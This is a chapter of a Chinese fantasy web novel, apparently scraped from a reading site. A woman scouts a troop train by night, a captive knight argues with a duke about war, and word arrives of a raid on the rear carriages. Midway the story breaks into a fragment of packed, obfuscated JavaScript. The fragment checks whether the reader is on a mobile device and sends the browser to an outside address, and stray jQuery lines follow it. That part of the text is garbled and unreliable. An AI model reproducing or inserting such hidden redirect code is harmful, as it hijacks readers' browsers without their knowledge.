148. 148.袭击

作品:《再造骑士[西幻]

    杜瓶在火车上的第一晚,身心俱疲,大概是实在没什么载客的车厢了,这些士兵被一股脑塞在一个大空屋里头,各自领了被褥,就这么席地而睡。


    她躺在地上,抬头是脚丫味,低头是油头味,扭头是胳肢窝味,酸爽无比,更别提一整个屋子鼾声震天。


    她可算知道为什么同行十二年可以不知木兰是女郎了,这种一锅乱炖的状况谁还在乎是男是女。


    她佯装上厕所,从地铺上起身,要去盥洗间,一离开鼾声震天的屋子,立刻环顾四周。


    是夜,车窗外月如大灯,树如剪影,她沿着车窗一路往前面的车厢走,才走了两个车厢,便发现更前面的车厢有侍卫巡逻看守了。


    看来他们这种小兵都被集中在最后面的车厢,在最前面的,肯定都是些有职衔的人。


    她需要考察火车上的布局和环境,可要怎么溜到前面瞧瞧呢?


    好运来得突然,火车不知为何经停了一站,一辆辆载着货物的板车直接驶到了月台上,杜瓶靠在车窗上偷看,发现不断有人上车下车,装卸货物。


    看来伊德琳在这个站台准备了物资,趁夜在这里往车上搬货。


    一停站,杜瓶便钻进了盥洗间,她脱下身上的军队制服,立刻拉开车窗,从车上翻了出去,她翻到了车厢的顶部,翻到了远离月台的那一侧,那里只有两条笔直的轨道。


    她在轨道上快速前进着,一直往前跑,时间很紧,不知道什么时候火车就会启动,她要透过车窗看遍火车的每一处,尽可能多的收集情报。


    她跑得飞快,火车大概五六百米,操场走一圈半的路程,只不过要持续拉开车窗探查状况,还要避开那些巡逻的士兵,这时间一来二去就漫长了,五六百米,跑了有半小时。


    来到最前面的车厢,杜瓶便不敢探查了,她很清楚里头住着的人会是谁。


    无非是伊德琳或是卡西尔,当然,兰琉斯应当也在里头。


    她立刻往回跑,打算在火车继续前行之前跑回火车尾端,翻窗回去继续睡觉。


    边跑,杜瓶边在心里厘清刚刚看到的一切。


    不包括驾驶舱及邻近的锅炉房,铁锈号共有二十二节车厢。


    一至三号车厢之内,应当居住着伊德琳、兰琉斯、山姆、卡西尔,以及各自的亲信奴仆。


    四至六节居住着的应当是将领或者指挥级别的军官,他们仍然有着自己单独的房间,更有着各自的守卫。


    七至十节车厢之中,是经过遴选的身手优越的精锐卫兵,他们的装备和铠甲都是锃亮发光的。这些人同样有可供使唤的低级士兵。


    十一节至二十节车厢,这里的人占据了伊德琳所携带的士兵的主要类型,他们是经历过累年战争的战场老兵,他们身上的平和镇定是与杜瓶所在的那个军团完全不同的。这里的士兵偶尔流通到前面替那些精锐卫兵服务,夜间依次轮班值守。


    至于末尾两节车厢,杜瓶可以称他们为滥竽充数的大集合,多是被临时征召而来的平民,质量良莠不齐,有的半夜说梦话还在叫妈妈。


    倒数两节车厢没有守卫,她估计,这些人的作用就是随时被丢出去充当肉盾或者诱饵。


    现在,她得跑回那个良莠不齐的小军团,这过程虽只有几百米,但因为经历了半个小时的潜行,令杜瓶跑得气喘吁吁。


    不幸的是,就在此时,她忽然听到了一些喊声,吱呀的关门声,而后,她看到了火车头部那里再次升起了白色的蒸汽——


    不!!!


    杜瓶心中一沉,她拼命往回跑,结果发现压根不用她跑了,车已经走起来了,巨轮滚滚,现在再不上车,恐怕就要被丢在这里了。


    杜瓶眼见着火车跑起来,只好一鼓作气跳上了火车,但她停下的这一节是七至十节,这里有不少精锐卫兵,她如果钻进车窗立马会被当成刺客乱剑砍死。


    她没有钻进窗户,随着火车腾腾前行,她爬上了火车的顶部。


    汗珠沿着额头往下不断滚落,她上了火车顶部才敢呼吸,蒸汽往后散去,火车开始高速行驶起来,她将身体平摊在火车的顶部,大汗淋漓地喘着气。


    火车顶部挺脏的,杜瓶抹了抹脸上的汗,立刻把自己抹成了花猫。


    她在上头吹着风,没敢停下来,立马又往后面走,毕竟她可不知道会不会什么时候就来个隧道,到时候情况又要急转直下了。


    她在火车上逆风而行,幸好火车刚刚起步,速度还不至于那那么快,此时她化身为蜘蛛侠,四肢趴在车顶慢慢往后,来到了火车最后端。


    她正要小心翼翼地往车窗边缘落,谁知一扭头就看到路边一棵被闪电劈歪了的大树正颤颤巍巍地掠过火车上方,马上就要用那锋利的枝子刮掉她的脑袋了!


    她没法再磨蹭,瞬间从车顶跳了下去,踢挪车窗,火速钻了进去。


    噗通落地,她感觉屁股好像碎成了两半。


    杜瓶气喘吁吁地靠着车窗,冷汗直流,万有之主,这辈子没干过这么刺激的事情——


    人在危难的时候果然是潜力无限的。


    盥洗间的门嘭嘭地响起来,外头传来他人的哀嚎:“好了没!?我他妈的屎都拉裤兜子里了!!”


    杜瓶立刻起身,整理了一下着装,然后拉开门出去,门口的士兵立马泥鳅一样钻了进去。


    杜瓶回到了大通铺的车厢,等她回来,那位于各个脚丫子、咯吱窝、油头之间的一条空隙也不见了。


    她只好拖着自己的被褥往走廊里去,靠着窗边,这里呼噜声还要轻些,月光洒落在少女的面颊之上,她静静地入睡。


    要等火车再走远一些,在某个荒无人烟的山林之中,在一个寂静的夜晚。


    那才是最好的时机。


    她慢慢地往衣服里摸,握住那个叶形的吊坠。


    *


    离开了圣都周围,火车补给了物资,现在一路往南,驶过了一座座城市,终于现在慢慢进入了人烟稀少的丰沃水原。


    山姆依然常常从伊德琳的房间出来,他的脸色显然不如前几日了,他越来越瘦,可能是伊德琳玩得太过火,也有可能,是他没有他的父亲更有承受魂质的意志。


    伊德琳在这一天早上,故意找兰琉斯一起用早餐,就在他安静地往咖啡里加糖时,她满脸笑容,不止一次提起,她的魔力有点不够用了。


    不止一次。


    “如果你要用的话,直接拿不就好了?”


    “兰琉斯,别说得这么无情无义——”伊德琳依然笑着,“我当然更希望你配合我,配合我,这样我拿取你的魔力的过程,会让你我都不太痛苦。”


    兰琉斯撇过头,“我还要怎么配合你?”


    “就今晚吧。”伊德琳笑着,“你到我房间来,我会在你的心脏上开一个小小的孔洞,然后对你施加取魂术,吸走一点魔力——别害怕,仅仅只是一点魔力。”


    一点魔力?


    兰琉斯知道,那绝不会是一点魔力,他恐怕会少半条命,而魔力从身体里的血肉之中被千丝万缕地抽离而出,这种痛苦,也绝对不会比死亡更少。


    饶是坚毅如他,在伊德琳离开后也攥紧了手。


    这些天,为了让伊德琳减少疑心,对于她的要求和提议,他都没有任何反抗。


    他得稳住她,他知道,瓶瓶一定有着自己的计划,如果他现在什么都不能做,让伊德琳老老实实地待在这里别动弹,那就是他该做的事情。


    他在等待杜瓶来到他的身边,不论是以什么形式,到时候,他才可以用尽全力解开身上的术法。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264239|182661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >傍晚的时候,卡西尔让他的副手拜瑞拉前来找他,说是希望他一同前往各个车厢内检阅检阅士兵。


    车上的这些士兵,一半是金宫中的精锐,另一半都是卡西尔从自己领地上带来的,由于卡西尔目前是代理宰相,皇帝年幼,相当于对所有军队都拥有指挥权。


    他这次没有带上自己的副手拜瑞拉,火车的过道并不宽敞,兰琉斯充当了副手的作用,他帮他推行轮椅。


    说起来,兰琉斯突然发现自己和卡西尔的关系,处于在一个比较尴尬的位置。


    他常常在修武院出没,对于卡西尔,他其实是很熟悉很了解的,正因为熟悉了解,他才知道这个男人的诡妙之处。


    当这个人站在自己一方的时候,你是可以无条件信任他的,他会为了你付出一切,就如同他曾经为了这个国家付出双腿一样。


    但当处于他的对立面时,兰琉斯立刻感到不安,这个男人瞬间就从可以信任的队友,变成了一条盘梭的毒蛇,要时刻小心他疯狂的尖牙。


    两人穿过一个个车厢,所有巡逻的士兵都对两人敬礼问好,这些人都知道,首席骑士现在不再是那个逃犯首席骑士,他重新得到了金宫的重用。虽然不知为何,但联想到迪克森的忽然下台,他们纷纷认定先皇之死是另有冤情。


    “你看这些士兵,他们都精神抖擞,都将大有所为。”


    “他们还年轻。”兰琉斯说着。


    卡西尔叹了口气:“我已经不年轻了,我也没有完整的双腿,可偏偏这时候,陛下猝然离世,这个国家处在风雨飘摇当中,我总得做点什么。”


    “嗯……”兰琉斯淡淡说道,“我理解。”


    其实有时候不理解,也得张张口仿佛理解。


    “我知道伊德琳不是什么好东西,不过,我不在乎!只要能让陛下复活,只要能让朗登继续维持对外的战争,继续蓬勃强大,为了这个国家,即便为虎作伥我也心甘情愿!”


    兰琉斯唇角抽动了下,“先皇,他……也做过不少颇具非议的事情。”


    “这些我也都知道,包括你的出身……”卡西尔皱眉,“可君主毕竟是君主,你觉得,我们是需要一个善良却软弱的君主,还是一个残忍但刚硬的君主?”


    兰琉斯幽幽地说道:“善良不代表软弱,刚硬也不意味着残忍,这个世界不是非黑即白。”


    “但战争总得继续!”


    卡西尔话音冷硬:“战斗下去,这就是战争的精神,这就是战士的精神,这就是爱国的精神,不是吗?”


    兰琉斯心里微微的不耐烦,“您总是把目光放在遥远的战争,放在宏图伟业上,是否也能看到流离失所的贫民,饥寒交迫的孩子,无数因战争失去父亲儿子爱人的百姓?他们也是这个国家的一部分,您说爱国,可您爱过他们吗?”


    卡西尔呼吸一窒,他顿了顿:“看来我们之间有很大的分歧。”


    兰琉斯对于与卡西尔交谈兴致阑珊了,卡西尔似乎依然如此,天色暗了,兰琉斯看向窗外,绯红夕阳上墨痕斑斓。


    夜晚来临了,他恐怕得去找伊德琳了。


    两人默不作声地调转了方向往回走,刚回到前部车厢还没一会儿,忽然一个士兵火急火燎地跑了上来。


    “怎么了?”卡西尔的神色有些不悦。


    那士兵抖了下:“禀报公爵,列车末尾发生了袭击事件!”


    “袭击?放屁!咱们开着车,谁袭击?内乱?”


    士兵缓缓摇头:“不,不是,不知道为什么,车上突然多了许多不明来源的士兵,他们进攻速度很快,后方士兵孱弱,根本打不过,现在已经有两个车厢都被占领了!”


    “领头的是谁?”卡西尔瞪大了眼。


    那士兵唯唯诺诺,“是……是埃诺文骑士!”